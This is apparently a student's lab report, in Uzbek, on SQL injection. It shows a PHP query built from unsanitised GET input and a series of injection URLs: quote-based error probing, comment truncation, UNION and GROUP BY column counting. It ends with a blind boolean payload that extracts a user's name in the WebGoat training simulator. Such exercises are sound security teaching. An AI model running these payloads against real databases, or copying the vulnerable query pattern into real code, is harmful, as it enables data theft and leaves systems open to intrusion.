Axmadjanov Abrorjon 6- laboratoriya ishi

$user = $_GET['user'];
$query = "SELECT * FROM news WHERE user='$user'";
Quyidagi so‘rovni kiritish orqali uni aniqlash mumkin:
sqlinj/index1.php?user=hacker'
3. SQL tilida kommentariyaga olish “--” belgisi bilan amalga oshiriladi. Ushbu belgini oldidan va orqasidan probel bo‘lishi zarur. URL manzillarda probel “%20” kabi ifodalanadi.
SELECT * FROM news WHERE user='hacker' -- blablabla
URL da ifodasi
sqlinj/index1.php?user=hacker'%20--%20 blablabla
4. UNION buyrug‘idan foydalanish orqali maydonlar sonini bilish mumkin.
sqlinj/index1.php?id=1 UNION SELECT 1,2
xatolik
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
xatolik yuq demak ustunlar soni 3 ga teng.
5. GROUP BY dan foydalangan holda ustunlar sonini aniqlash.
sqlinj/index1.php?id=1 GROUP BY 2
Amaliy qism

1. 
   Mantiqiy “ko‘r” ineksiyani yaratish. Buning uchun Owaspweb Goat simulyatoridan foydalaniladi.
   

Dastlab siqilgan faylni oching
–Run webgoat.bat (or webgoat_8080.bat)
–http://localhost/WebGoat/attack
–Id = guest
–pw = guest
Vazifa
// first_name kattalining uzunligi 6 ga teng
// birinchi harfi ‘J’ ga teng
101 and ((select ascii(substr(first_name,1,1)) from user_data where userid = 15613) >= 74) and ((select ascii(substr(first_name,1,1)) from user_data where userid = 15613) <= 74)
Yuqoridagi so‘rovdan foydalanib, 15613 raqamli foydalanuvchini first_name ni toping.




Xulosa
Man bu labaratoriya ishimda ma’lumotlar ba’zalari uchun o’rinli bo’lgan SQL – ineksiya tahdidi bilan amalda tanishib chiqdim va quyidagi natijani oldim.